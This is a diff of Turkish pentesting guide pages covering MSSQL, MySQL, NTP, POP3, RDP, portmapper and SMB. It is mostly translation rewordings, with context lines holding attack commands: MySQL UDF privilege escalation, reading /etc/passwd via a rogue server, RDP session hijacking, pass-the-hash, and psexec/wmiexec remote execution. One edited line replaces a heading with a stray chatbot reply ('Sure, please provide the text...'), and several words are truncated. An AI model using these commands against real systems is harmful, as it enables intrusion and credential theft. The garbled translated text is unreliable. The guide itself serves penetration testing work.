Unutmayın ki bir kez sysadmin olduğunuzda, diğer herhangi birini taklit edebilirsiniz:
```sql
-- Impersonate RegUser
EXECUTE AS LOGIN = 'RegUser'
@ -545,7 +545,7 @@ Bu istismar için bazı gereksinimler ve yapılandırmalar yapılmalıdır. Önc
Bu yapılandırmaları otomatikleştirmek için, [bu depo](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) gerekli scriptleri içermektedir. Her yapılandırma adımı için bir powershell scriptinin yanı sıra, depo ayrıca yapılandırma scriptlerini ve şifrelerin çıkarılması ve şifrelerinin çözülmesini birleştiren tam bir script de içermektedir.
Daha fazla bilgi için, bu saldırı ile ilgili aşağıdaki bağlantılara bakın: [MSSQL Veritabanı Bağlantı Sunucusu Şifrelerini Çözme](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
Daha fazla bilgi için, bu saldırı ile ilgili aşağıdaki bağlantılara başvurun: [MSSQL Veritabanı Bağlantı Sunucusu Şifrelerini Çözme](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
[SQL Server Özel Yönetici Bağlantısını Hata Ayıklama](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)

View File

@ -36,7 +36,7 @@ msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
```
### [**Brute force**](../generic-hacking/brute-force.md#mysql)
### Herhangi bir ikili veriyi yazın
### Herhangi bir ikili veri yazın
```bash
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
@ -111,7 +111,7 @@ Dokümanlarda her bir ayrıcalığın anlamını görebilirsiniz: [https://dev.m
## MySQL istemcisi tarafından keyfi dosya okuma
Aslında, bir tabloya **yerel veri yüklemeye** çalıştığınızda, MySQL veya MariaDB sunucusu **istemciden dosyayı okumasını** ve içeriği göndermesini ister. **Sonra, eğer bir mysql istemcisini kendi MySQL sunucunuza bağlanacak şekilde değiştirebilirseniz, keyfi dosyaları okuyabilirsiniz.**\
Aslında, bir **veri yükleme işlemi** yapmaya çalıştığınızda, MySQL veya MariaDB sunucusu **istemciden dosyayı okumasını** ve içeriği göndermesini ister. **Sonrasında, kendi MySQL sunucunuza bağlanmak için bir mysql istemcisini manipüle edebilirseniz, keyfi dosyaları okuyabilirsiniz.**\
Lütfen bunun şu şekilde bir davranış olduğunu unutmayın:
```bash
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
@ -123,8 +123,8 @@ mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
```
**İlk PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**Bu belgede saldırının tam tanımını ve hatta RCE'ye nasıl genişletileceğini görebilirsiniz:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Başlangıç PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
**Bu belgede saldırının tam ıklamasını ve hatta RCE'ye nasıl genişletileceğini görebilirsiniz:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
**Saldırıya genel bir bakış bulabilirsiniz:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
@ -144,8 +144,8 @@ systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=
MySQL hizmetlerinin yapılandırmasında, işletim ve güvenlik önlemlerini tanımlamak için çeşitli ayarlar kullanılmaktadır:
- **`user`** ayarı, MySQL hizmetinin çalıştırılacağı kullanıcıyı belirlemek için kullanılır.
- **`password`** MySQL kullanıcısına bağlı olan şifreyi oluşturmak için uygulanır.
- **`user`** ayarı, MySQL hizmetinin çalışacağı kullanıcıyı belirlemek için kullanılır.
- **`password`** MySQL kullanıcısına bağlı olan şifreyi belirlemek için uygulanır.
- **`admin_address`**, yönetim ağ arayüzünde TCP/IP bağlantılarını dinleyen IP adresini belirtir.
- **`debug`** değişkeni, günlüklerde hassas bilgileri içeren mevcut hata ayıklama yapılandırmalarını gösterir.
- **`sql_warnings`**, uyarılar ortaya çıktığında tek satırlık INSERT ifadeleri için bilgi dizelerinin üretilip üretilmeyeceğini yönetir ve günlüklerde hassas veriler içerebilir.
@ -169,7 +169,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
# Get a shell (with your permissions, usefull for sudo/suid privesc)
\! sh
```
### Yetki Yükseltme Kütüphanesi Üzerinden
### Kütüphane Üzerinden Yetki Yükseltme
Eğer **mysql sunucusu root olarak çalışıyorsa** (veya daha ayrıcalıklı bir kullanıcı olarak) komutları çalıştırmasını sağlayabilirsiniz. Bunun için **kullanıcı tanımlı fonksiyonlar** kullanmanız gerekecek. Ve bir kullanıcı tanımlı fonksiyon oluşturmak için mysql'ün çalıştığı **işletim sistemi için bir kütüphane** gerekecek.

View File

@ -4,12 +4,12 @@
## Temel Bilgiler
**Ağ Zaman Protokolü (NTP)**, değişken gecikme sürelerine sahip ağlar üzerinden bilgisayarların ve ağ cihazlarının saatlerini doğru bir şekilde senkronize etmelerini sağlar. IT operasyonları, güvenlik ve günlükleme için kesin zaman tutmanın sürdürülmesi açısından hayati öneme sahiptir. NTP'nin doğruluğu önemlidir, ancak düzgün yönetilmediğinde güvenlik riskleri de taşır.
**Ağ Zaman Protokolü (NTP)**, değişken gecikme sürelerine sahip ağlar üzerinden bilgisayarların ve ağ cihazlarının saatlerini doğru bir şekilde senkronize etmelerini sağlar. IT operasyonları, güvenlik ve kayıt tutma için kesin zaman tutmanın sürdürülmesi açısından hayati öneme sahiptir. NTP'nin doğruluğu önemlidir, ancak düzgün yönetilmediğinde güvenlik riskleri de taşır.
### Özet & Güvenlik İpuçları:
- **Amaç**: Cihaz saatlerini ağlar üzerinden senkronize eder.
- **Önemi**: Güvenlik, günlükleme ve operasyonlar için kritik.
- **Önemi**: Güvenlik, kayıt tutma ve operasyonlar için kritik.
- **Güvenlik Önlemleri**:
- Kimlik doğrulama ile güvenilir NTP kaynakları kullanın.
- NTP sunucusu ağ erişimini sınırlayın.
@ -34,7 +34,7 @@ ntpdc -c sysinfo <IP_ADDRESS>
```bash
nmap -sU -sV --script "ntp* and (discovery or vuln) and not (dos or brute)" -p 123 <IP>
```
## Yapılandırma dosyalarını inceleyin
## Konfigürasyon dosyalarını inceleyin
- ntp.conf

View File

@ -46,7 +46,7 @@ QUIT Logout (expunges messages if no RSET)
TOP msg n Show first n lines of message number msg
CAPA Get capabilities
```
Örnek:
Sure, please provide the text you would like me to translate.
```
root@kali:~# telnet $ip 110
+OK beta POP3 server (JAMES POP3 Server 2.3.2) ready

View File

@ -5,7 +5,7 @@
## Temel Bilgiler
Microsoft tarafından geliştirilen **Remote Desktop Protocol** (**RDP**), bilgisayarlar arasında bir ağ üzerinden grafiksel bir arayüz bağlantısı sağlamak için tasarlanmıştır. Böyle bir bağlantı kurmak için, kullanıcı **RDP** istemci yazılımını kullanır ve aynı anda, uzak bilgisayarın **RDP** sunucu yazılımını çalıştırması gerekmektedir. Bu yapı, uzak bir bilgisayarın masaüstü ortamının kesintisiz kontrolünü ve erişimini sağlar, temelde arayüzünü kullanıcının yerel cihazına getirir.
Microsoft tarafından geliştirilen **Remote Desktop Protocol** (**RDP**), bilgisayarlar arasında bir ağ üzerinden grafiksel bir arayüz bağlantısı sağlamayı amaçlamaktadır. Böyle bir bağlantı kurmak için, kullanıcı tarafından **RDP** istemci yazılımı kullanılır ve aynı anda, uzak bilgisayarın **RDP** sunucu yazılımını çalıştırması gerekmektedir. Bu yapı, uzak bir bilgisayarın masaüstü ortamının kesintisiz kontrolünü ve erişimini sağlar, temelde arayüzünü kullanıcının yerel cihazına getirir.
**Varsayılan port:** 3389
```
@ -40,7 +40,7 @@ rdesktop -d <domain> -u <username> -p <password> <IP>
xfreerdp [/d:domain] /u:<username> /p:<password> /v:<IP>
xfreerdp [/d:domain] /u:<username> /pth:<hash> /v:<IP> #Pass the hash
```
### RDP hizmetlerine karşı bilinen kimlik bilgilerini kontrol et
### RDP hizmetlerine karşı bilinen kimlik bilgilerini kontrol etme
impacket'ten rdp_check.py, bazı kimlik bilgilerinin bir RDP hizmeti için geçerli olup olmadığını kontrol etmenizi sağlar:
```bash
@ -50,7 +50,7 @@ rdp_check <domain>/<name>:<password>@<IP>
### Oturum çalma
**SYSTEM izinleriyle** herhangi bir **kullanıcı tarafından açılmış RDP oturumuna** erişebilirsiniz, sahibinin şifresini bilmenize gerek yoktur.
**SYSTEM izinleri** ile, **herhangi bir kullanıcının açtığı RDP oturumuna** erişebilirsiniz, sahibinin şifresini bilmenize gerek yoktur.
**Açık oturumları al:**
```
@ -77,11 +77,11 @@ ts::remote /id:2 #Connect to the session
Bu tekniği **stickykeys** veya **utilman** ile birleştirerek, her zaman bir yönetici CMD ve herhangi bir RDP oturumuna erişim sağlayabilirsiniz.
Bu tekniklerden biriyle arka kapı bırakılmış RDP'leri aramak için: [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer)
Bu tekniklerden biriyle arka kapı bırakılmış RDP'leri [https://github.com/linuz/Sticky-Keys-Slayer](https://github.com/linuz/Sticky-Keys-Slayer) ile arayabilirsiniz.
### RDP Süreç Enjeksiyonu
Farklı bir alan adından veya **daha iyi ayrıcalıklara sahip biri RDP ile** **senin Admin** olduğun PC'ye giriş yaparsa, **RDP oturum sürecine** beacon'ını **enjekte** edebilir ve onun gibi hareket edebilirsin:
Farklı bir alan adından veya **daha iyi yetkilere sahip biri RDP ile** **senin Admin** olduğun PC'ye giriş yaparsa, **RDP oturum sürecine** beacon'ını **enjekte** edebilir ve onun gibi hareket edebilirsin:
{{#ref}}
../windows-hardening/active-directory-methodology/rdp-sessions-abuse.md
@ -95,13 +95,13 @@ net localgroup "Remote Desktop Users" UserLoginName /add
- [**AutoRDPwn**](https://github.com/JoelGMSec/AutoRDPwn)
**AutoRDPwn**, Microsoft Windows bilgisayarlarında **Shadow** saldırısını otomatikleştirmek için tasarlanmış, Powershell'de oluşturulmuş bir post-exploitation framework'tür. Bu zafiyet (Microsoft tarafından bir özellik olarak listelenmiştir), uzaktan bir saldırganın **kurbanının masaüstünü izinsiz olarak görüntülemesine** ve hatta talep üzerine kontrol etmesine olanak tanır; bu, işletim sisteminin kendisine ait araçlar kullanılarak yapılır.
**AutoRDPwn**, Microsoft Windows bilgisayarlarında **Shadow** saldırısını otomatikleştirmek için tasarlanmış, Powershell'de oluşturulmuş bir post-exploitation framework'tür. Bu zafiyet (Microsoft tarafından bir özellik olarak listelenmiştir), uzaktan bir saldırganın **kurbanının masaüstünü izleyebilmesine ve hatta talep üzerine kontrol edebilmesine** olanak tanır; bu, işletim sisteminin kendisine ait araçlar kullanılarak gerçekleştirilir.
- [**EvilRDP**](https://github.com/skelsec/evilrdp)
- Komut satırından otomatik bir şekilde fare ve klavye kontrolü
- Komut satırından otomatik bir şekilde panoya kontrol
- Komut satırından otomatik bir şekilde panoya erişim
- RDP üzerinden hedefe ağ iletişimini yönlendiren bir SOCKS proxy'si oluşturma
- Hedefte dosya yüklemeden rastgele SHELL ve PowerShell komutları yürütme
- Hedefte dosya yüklemeden rastgele SHELL ve PowerShell komutları çalıştırma
- Hedefte dosya transferleri devre dışı olsa bile hedefe dosya yükleme ve indirme
## HackTricks Automatic Commands

View File

@ -6,7 +6,7 @@
**Portmapper**, ağ hizmeti portlarını **RPC** (Uzak Prosedür Çağrısı) program numaralarına eşlemek için kullanılan bir hizmettir. **Unix tabanlı sistemler** içinde bilgi alışverişini kolaylaştıran kritik bir bileşen olarak işlev görür. **Portmapper** ile ilişkili **port**, saldırganlar tarafından sıklıkla taranır çünkü değerli bilgiler ortaya çıkarabilir. Bu bilgiler, çalışan **Unix İşletim Sistemi (OS)** türünü ve sistemde mevcut olan hizmetler hakkında ayrıntıları içerir. Ayrıca, **Portmapper**, ağ hizmetlerini etkili bir şekilde yönetmek için genellikle **NFS (Ağ Dosya Sistemi)**, **NIS (Ağ Bilgi Hizmeti)** ve diğer **RPC tabanlı hizmetler** ile birlikte kullanılır.
**Varsayılan port:** 111/TCP/UDP, 32771 Oracle Solaris'te
**Varsayılan port:** 111/TCP/UDP, 32771 Oracle Solaris'ta
```
PORT STATE SERVICE
111/tcp open rpcbind
@ -30,11 +30,11 @@ Eğer NFS hizmetini bulursanız, muhtemelen dosyaları listeleyip indirebilir (v
![](<../images/image (872).png>)
Bu protokolü test etmeyi öğrenmek için [2049 - Pentesting NFS service](nfs-service-pentesting.md) okuyun.
Bu protokolü test etmenin yollarını öğrenmek için [2049 - Pentesting NFS service](nfs-service-pentesting.md) okuyun.
## NIS
**NIS** zafiyetlerini keşfetmek, `ypbind` hizmetinin tanımlanmasıyla başlayan iki aşamalı bir süreci içerir. Bu keşfin temel taşı, **NIS alan adını** ortaya çıkarmaktır; bu olmadan ilerleme durur.
**NIS** zafiyetlerini keşfetmek, `ypbind` hizmetinin tanımlanmasıyla başlayan iki aşamalı bir süreçtir. Bu keşfin temel taşı, **NIS alan adını** ortaya çıkarmaktır; bu olmadan ilerleme durur.
![](<../images/image (859).png>)
@ -64,11 +64,11 @@ Eğer **rusersd** servisini şu şekilde bulursanız:
![](<../images/image (1041).png>)
Kutu kullanıcılarını listeleyebilirsiniz. Nasıl yapılacağını öğrenmek için [1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md) makalesine bakın.
Kutunun kullanıcılarını listeleyebilirsiniz. Nasıl yapılacağını öğrenmek için [1026 - Pentesting Rsusersd](1026-pentesting-rusersd.md) makalesine bakın.
## Filtrelenmiş Portmapper portunu atlatma
**nmap taraması** yaparken ve port 111'in filtrelendiğini keşfettiğinizde, bu portların doğrudan istismar edilmesi mümkün değildir. Ancak, **yerel olarak bir portmapper servisi simüle ederek ve makinenizden hedefe bir tünel oluşturarak**, istismar mümkün hale gelir. Bu teknik, port 111'in filtrelenmiş durumunu atlatmayı sağlar ve böylece NFS hizmetlerine erişim sağlar. Bu yöntemle ilgili ayrıntılı rehberlik için [bu bağlantıya](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc) bakın.
**nmap taraması** yaparken ve port 111'in filtrelendiğiık NFS portları keşfettiğinizde, bu portların doğrudan istismar edilmesi mümkün değildir. Ancak, **yerel olarak bir portmapper servisi simüle ederek ve makinenizden hedefe bir tünel oluşturarak** istismar mümkün hale gelir. Bu teknik, port 111'in filtrelenmiş durumunu atlatmayı sağlar ve böylece NFS hizmetlerine erişim sağlar. Bu yöntemle ilgili ayrıntılı rehberlik için [bu makaleye](https://medium.com/@sebnemK/how-to-bypass-filtered-portmapper-port-111-27cee52416bc) başvurun.
## Shodan

View File

@ -4,7 +4,7 @@
## **Port 139**
_**Ağ Temel Giriş Çıkış Sistemi**_** (NetBIOS)**, uygulamaların, PC'lerin ve masaüstlerinin yerel alan ağı (LAN) içinde ağ donanımı ile etkileşimde bulunmasını sağlamak ve **verilerin ağ üzerinden iletimini kolaylaştırmak** için tasarlanmış bir yazılım protokolüdür. NetBIOS ağında çalışan yazılım uygulamalarının tanımlanması ve konumlandırılması, genellikle bilgisayar adından farklı olabilen ve en fazla 16 karakter uzunluğunda olabilen NetBIOS adları aracılığıyla gerçekleştirilir. İki uygulama arasındaki bir NetBIOS oturumu, bir uygulama (istemci olarak hareket eden) diğer bir uygulamayı (sunucu olarak hareket eden) "aramak" için bir komut verdiğinde **TCP Port 139** kullanılarak başlatılır.
_**Ağ Temel Giriş Çıkış Sistemi**_** (NetBIOS)**, uygulamaların, PC'lerin ve masaüstlerinin yerel alan ağı (LAN) içinde ağ donanımı ile etkileşimde bulunmasını sağlamak ve **verilerin ağ üzerinden iletimini kolaylaştırmak** için tasarlanmış bir yazılım protokolüdür. NetBIOS ağında çalışan yazılım uygulamalarının tanımlanması ve konumlandırılması, 16 karaktere kadar uzunlukta olabilen ve genellikle bilgisayar adından farklı olan NetBIOS adları aracılığıyla gerçekleştirilir. İki uygulama arasında bir NetBIOS oturumu, bir uygulama (istemci olarak hareket eden) "çağırmak" için başka bir uygulamaya (sunucu olarak hareket eden) **TCP Port 139** kullanarak bir komut verdiğinde başlatılır.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
@ -20,14 +20,14 @@ Teknik olarak, Port 139 'NBT over IP' olarak adlandırılırken, Port 445 'SMB o
**Server Message Block (SMB)** protokolü, **istemci-sunucu** modelinde çalışarak **dosyalara**, dizinlere ve yazıcılar ile yönlendiriciler gibi diğer ağ kaynaklarına **erişimi** düzenlemek için tasarlanmıştır. Öncelikle **Windows** işletim sistemi serisi içinde kullanılan SMB, geriye dönük uyumluluğu sağlar; bu sayede Microsoft'un işletim sisteminin daha yeni sürümlerine sahip cihazlar, daha eski sürümlerle sorunsuz bir şekilde etkileşimde bulunabilir. Ayrıca, **Samba** projesi, SMB'nin **Linux** ve Unix sistemlerinde uygulanmasını sağlayan ücretsiz bir yazılım çözümü sunarak, SMB üzerinden çapraz platform iletişimini kolaylaştırır.
SMB sunucusu tarafından sağlanabilen paylaşımlar, **yerel dosya sisteminin** keyfi parçalarını temsil eder ve bu, bir istemciye sunucunun gerçek yapısından kısmen **bağımsız** olarak hiyerarşiyi görünür kılar. **Erişim Kontrol Listeleri (ACL'ler)**, **erişim haklarını** tanımlayarak, **`çalıştırma`**, **`okuma`** ve **`tam erişim`** gibi nitelikler de dahil olmak üzere kullanıcı izinleri üzerinde **ince ayar** kontrolü sağlar. Bu izinler, paylaşımlara dayalı olarak bireysel kullanıcılara veya gruplara atanabilir ve sunucuda ayarlanan yerel izinlerden farklıdır.
Yerel dosya sisteminin **rastgele parçalarını** temsil eden paylaşımlar, bir SMB sunucusu tarafından sağlanabilir ve bu, istemciye sunucunun gerçek yapısından kısmen **bağımsız** bir hiyerarşi sunar. **Erişim Kontrol Listeleri (ACL'ler)**, **erişim haklarını** tanımlayarak, **`çalıştırma`**, **`okuma`** ve **`tam erişim`** gibi nitelikler de dahil olmak üzere kullanıcı izinleri üzerinde **ince ayar** kontrolü sağlar. Bu izinler, paylaşımlara dayalı olarak bireysel kullanıcılara veya gruplara atanabilir ve sunucuda ayarlanan yerel izinlerden farklıdır.
### IPC$ Share
IPC$ paylaşımına anonim bir null oturumu aracılığıyla erişim sağlanabilir ve bu, adlandırılmış borular aracılığıyla sunulan hizmetlerle etkileşimde bulunmayı mümkün kılar. Bu amaçla `enum4linux` aracı faydalıdır. Doğru kullanıldığında, aşağıdakilerin edinilmesini sağlar:
- İşletim sistemi hakkında bilgi
- Ana alan hakkında ayrıntılar
- Ana alan hakkında detaylar
- Yerel kullanıcılar ve grupların derlemesi
- Mevcut SMB paylaşımları hakkında bilgi
- Etkili sistem güvenlik politikası
@ -74,7 +74,7 @@ tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
echo "" && sleep .1
```
### **Arama istismarı**
### **Arama ığı**
```bash
msf> search type:exploit platform:windows target:2008 smb
searchsploit microsoft smb
@ -83,13 +83,13 @@ searchsploit microsoft smb
| **Kullanıcı Adı(ları)** | **Yaygın Şifreler** |
| ------------------------ | ----------------------------------------- |
| _(boş)_ | _(boş)_ |
| misafir | _(boş)_ |
| Yönetici, admin | _(boş)_, şifre, yönetici, admin |
| arcserve | arcserve, yedek |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, yedek | backupexec, yedek, arcada |
| test, lab, demo | şifre, test, lab, demo |
| _(boş)_ | _(boş)_ |
| misafir | _(boş)_ |
| Yönetici, admin | _(boş)_, şifre, yönetici, admin |
| arcserve | arcserve, yedek |
| tivoli, tmersrvd | tivoli, tmersrvd, admin |
| backupexec, yedek | backupexec, yedek, arcada |
| test, lab, demo | şifre, test, lab, demo |
### Kaba Kuvvet
@ -139,7 +139,7 @@ enumdomgroups
```bash
lookupsid.py -no-pass hostname.local
```
Tek Satır
Tek satır
```bash
for i in $(seq 500 1100);do rpcclient -N -U "" 10.10.10.10 -c "queryuser 0x$(printf '%x\n' $i)" | grep "User Name\|user_rid\|group_rid" && echo "";done
```
@ -197,7 +197,7 @@ smbmap -u "username" -p "<NT>:<LM>" [-r/-R] [Folder] -H <IP> [-P <PORT>] #Pass-t
```
### **Manually enumerate windows shares and connect to them**
Ana makinenin herhangi bir paylaşımlarını görüntülemede kısıtlı olabileceğiniz ve bunları listelemeye çalıştığınızda, bağlanacak herhangi bir paylaşım olmadığı gibi görünebilir. Bu nedenle, bir paylaşım ile manuel olarak bağlantı kurmayı denemek faydalı olabilir. Paylaşımları manuel olarak listelemek için, geçerli bir oturum kullanırken (örneğin, null oturum veya geçerli kimlik bilgileri) NT_STATUS_ACCESS_DENIED ve NT_STATUS_BAD_NETWORK_NAME gibi yanıtları aramak isteyebilirsiniz. Bu, paylaşımın var olup olmadığını ve ona erişiminizin olup olmadığını veya paylaşımın hiç var olmadığını gösterebilir.
Ana makinenin herhangi bir paylaşımlarını görüntülemede kısıtlı olabileceğiniz ve bunları listelemeye çalıştığınızda, bağlanacak herhangi bir paylaşım olmadığı gibi görünebilir. Bu nedenle, bir paylaşım ile manuel olarak bağlantı kurmayı denemek faydalı olabilir. Paylaşımları manuel olarak listelemek için, geçerli bir oturum kullanırken (örneğin, null oturum veya geçerli kimlik bilgileri) NT_STATUS_ACCESS_DENIED ve NT_STATUS_BAD_NETWORK_NAME gibi yanıtları aramak isteyebilirsiniz. Bu, paylaşımın var olup olmadığını ve ona erişiminizin olup olmadığını gösterebilir veya paylaşımın hiç var olmadığını belirtebilir.
Windows hedefleri için yaygın paylaşım adları şunlardır:
@ -212,7 +212,7 @@ Windows hedefleri için yaygın paylaşım adları şunlardır:
(Yaygın paylaşım adları _**Network Security Assessment 3rd edition**_dan)
Aşağıdaki komutu kullanarak onlara bağlanmayı deneyebilirsiniz.
Bunlara bağlanmayı denemek için aşağıdaki komutu kullanabilirsiniz.
```bash
smbclient -U '%' -N \\\\<IP>\\<SHARE> # null session to connect to a windows share
smbclient -U '<USER>' \\\\<IP>\\<SHARE> # authenticated session to connect to a windows share (you will be prompted for a password)
@ -258,7 +258,7 @@ net share
# List shares on a remote computer (including hidden ones)
net view \\<ip> /all
```
MMC Eklentisi (grafik)
MMC Ekleme (grafik)
```shell
# Shared Folders: Shared Folders > Shares
fsmgmt.msc
@ -274,7 +274,7 @@ mount -t cifs -o "username=user,password=password" //x.x.x.x/share /mnt/share
```
### **Dosyaları İndir**
Kimlik bilgileriyle nasıl bağlantı kurulacağını öğrenmek için önceki bölümleri okuyun.
Kimlik bilgileriyle nasıl bağlantı kurulacağını öğrenmek için önceki bölümleri okuyun/Pass-the-Hash.
```bash
#Search a file and download
sudo smbmap -R Folder -H <IP> -A <FileName> -q # Search the file in recursive mode and download it inside /usr/share/smbmap
@ -314,7 +314,7 @@ sudo crackmapexec smb 10.10.10.10 -u username -p pass -M spider_plus --share 'De
> [!NOTE]
> **SYSVOL paylaşımı**, alan içindeki tüm kimlik doğrulaması yapılmış kullanıcılar tarafından **okunabilir**. İçinde birçok farklı batch, VBScript ve PowerShell **script** bulabilirsiniz.\
> İçindeki **script**'leri **kontrol** etmelisiniz çünkü **şifreler** gibi hassas bilgiler **bulabilirsiniz**.
> İçindeki **script**'leri **kontrol** etmelisiniz çünkü **şifreler** gibi hassas bilgileri **bulabilirsiniz**.
## Kayıt Defterini Oku
@ -329,17 +329,17 @@ sudo reg.py domain.local/USERNAME@MACHINE.htb -hashes 1a3487d42adaa12332bdb34a87
Bir **Samba** sunucusunun **varsayılan yapılandırması** genellikle `/etc/samba/smb.conf` içinde bulunur ve bazı **tehlikeli yapılandırmalara** sahip olabilir:
| **Ayar** | **Açıklama** |
| -------------------------- | ------------------------------------------------------------------ |
| `browseable = yes` | Mevcut paylaşımları listelemeye izin ver? |
| `read only = no` | Dosyaların oluşturulmasını ve değiştirilmesini yasakla? |
| `writable = yes` | Kullanıcıların dosya oluşturmasına ve değiştirmesine izin ver? |
| `guest ok = yes` | Şifre kullanmadan hizmete bağlanmaya izin ver? |
| --------------------------- | ------------------------------------------------------------------ |
| `browseable = yes` | Mevcut paylaşımları listelemeye izin ver? |
| `read only = no` | Dosyaların oluşturulmasını ve değiştirilmesini yasakla? |
| `writable = yes` | Kullanıcıların dosya oluşturmasına ve değiştirmesine izin ver? |
| `guest ok = yes` | Şifre kullanmadan hizmete bağlanmaya izin ver? |
| `enable privileges = yes` | Belirli SID'lere atanan ayrıcalıkları dikkate al? |
| `create mask = 0777` | Yeni oluşturulan dosyalara hangi izinlerin atanması gerekir? |
| `directory mask = 0777` | Yeni oluşturulan dizinlere hangi izinlerin atanması gerekir? |
| `logon script = script.sh` | Kullanıcının girişi sırasında hangi scriptin çalıştırılması gerekir? |
| `magic script = script.sh` | Script kapandığında hangi scriptin çalıştırılması gerekir? |
| `magic output = script.out`| Magic scriptin çıktısının nereye kaydedilmesi gerekir? |
| `create mask = 0777` | Yeni oluşturulan dosyalara hangi izinlerin atanması gerekir? |
| `directory mask = 0777` | Yeni oluşturulan dizinlere hangi izinlerin atanması gerekir? |
| `logon script = script.sh` | Kullanıcının girişi sırasında hangi scriptin çalıştırılması gerekir? |
| `magic script = script.sh` | Script kapandığında hangi scriptin çalıştırılması gerekir? |
| `magic output = script.out` | Magic scriptin çıktısının nereye kaydedilmesi gerekir? |
` smbstatus` komutu **sunucu** hakkında ve **kimin bağlı olduğu** hakkında bilgi verir.
@ -378,7 +378,7 @@ crackmapexec smb <IP> -d <DOMAIN> -u Administrator -H <HASH> #Pass-The-Hash
```
### [**psexec**](../windows-hardening/ntlm/psexec-and-winexec.md)**/**[**smbexec**](../windows-hardening/ntlm/smbexec.md)
Her iki seçenek de **kurban makinesinde yeni bir hizmet oluşturacaktır** (SMB aracılığıyla _\pipe\svcctl_ kullanarak) ve bunu **bir şey çalıştırmak için** kullanacaktır (**psexec** bir yürütülebilir dosyayı ADMIN$ paylaşımına **yükleyecek** ve **smbexec** **cmd.exe/powershell.exe**'ye işaret edecek ve argümanlara yükü koyacaktır --**dosya olmadan teknik-**-).\
Her iki seçenek de **kurban makinesinde yeni bir hizmet oluşturacaktır** (SMB aracılığıyla _\pipe\svcctl_ kullanarak) ve bunu **bir şey çalıştırmak için** kullanacaktır (**psexec** bir yürütülebilir dosyayı ADMIN$ paylaşımına **yükleyecek** ve **smbexec** **cmd.exe/powershell.exe**'ye işaret edecek ve argümanlara yükü koyacaktır --**dosya-sız teknik-**-).\
**Daha fazla bilgi** için [**psexec** ](../windows-hardening/ntlm/psexec-and-winexec.md)ve [**smbexec**](../windows-hardening/ntlm/smbexec.md).\
**kali**'de /usr/share/doc/python3-impacket/examples/ dizininde bulunmaktadır.
```bash
@ -392,8 +392,8 @@ psexec \\192.168.122.66 -u Administrator -p q23q34t34twd3w34t34wtw34t # Use pass
### [wmiexec](../windows-hardening/ntlm/wmiexec.md)/dcomexec
Diskle temas etmeden veya yeni bir hizmet çalıştırmadan DCOM aracılığıyla **port 135** kullanarak gizlice bir komut kabuğu çalıştırın.\
**kali**'de /usr/share/doc/python3-impacket/examples/ dizininde bulunmaktadır.
Diskle temas etmeden veya yeni bir hizmet çalıştırmadan **port 135** üzerinden DCOM kullanarak gizlice bir komut kabuğu çalıştırın.\
**kali**'de /usr/share/doc/python3-impacket/examples/ konumundadır.
```bash
#If no password is provided, it will be prompted
./wmiexec.py [[domain/]username[:password]@]<targetName or address> #Prompt for password

View File

@ -4,7 +4,7 @@
## **Port 139**
_**Ağ Temel Giriş Çıkış Sistemi**_\*\* (NetBIOS)\*\* , uygulamaların, PC'lerin ve masaüstlerinin yerel alan ağı (LAN) içinde ağ donanımı ile etkileşimde bulunmasını sağlamak ve **verilerin ağ üzerinden iletimini kolaylaştırmak** için tasarlanmış bir yazılım protokolüdür. NetBIOS ağında çalışan yazılım uygulamalarının tanımlanması ve konumlandırılması, genellikle bilgisayar adından farklı olan ve uzunluğu 16 karaktere kadar çıkabilen NetBIOS adları aracılığıyla gerçekleştirilir. İki uygulama arasındaki bir NetBIOS oturumu, bir uygulama (istemci olarak hareket eden) diğer bir uygulamayı (sunucu olarak hareket eden) "aramak" için bir komut verdiğinde **TCP Port 139** kullanılarak başlatılır.
_**Ağ Temel Giriş Çıkış Sistemi**_\*\* (NetBIOS)\*\* , uygulamaların, PC'lerin ve masaüstlerinin yerel alan ağı (LAN) içinde ağ donanımı ile etkileşimde bulunmasını sağlamak ve **verilerin ağ üzerinden iletimini kolaylaştırmak** için tasarlanmış bir yazılım protokolüdür. NetBIOS ağında çalışan yazılım uygulamalarının tanımlanması ve konumlandırılması, genellikle bilgisayar adından farklı olabilen ve 16 karaktere kadar uzunlukta olabilen NetBIOS adları aracılığıyla gerçekleştirilir. İki uygulama arasındaki bir NetBIOS oturumu, bir uygulama (istemci olarak hareket eden) diğer bir uygulamayı (sunucu olarak hareket eden) **TCP Port 139** kullanarak "aramak" için bir komut verdiğinde başlatılır.
```
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
```
@ -12,22 +12,22 @@ _**Ağ Temel Giriş Çıkış Sistemi**_\*\* (NetBIOS)\*\* , uygulamaların, PC'
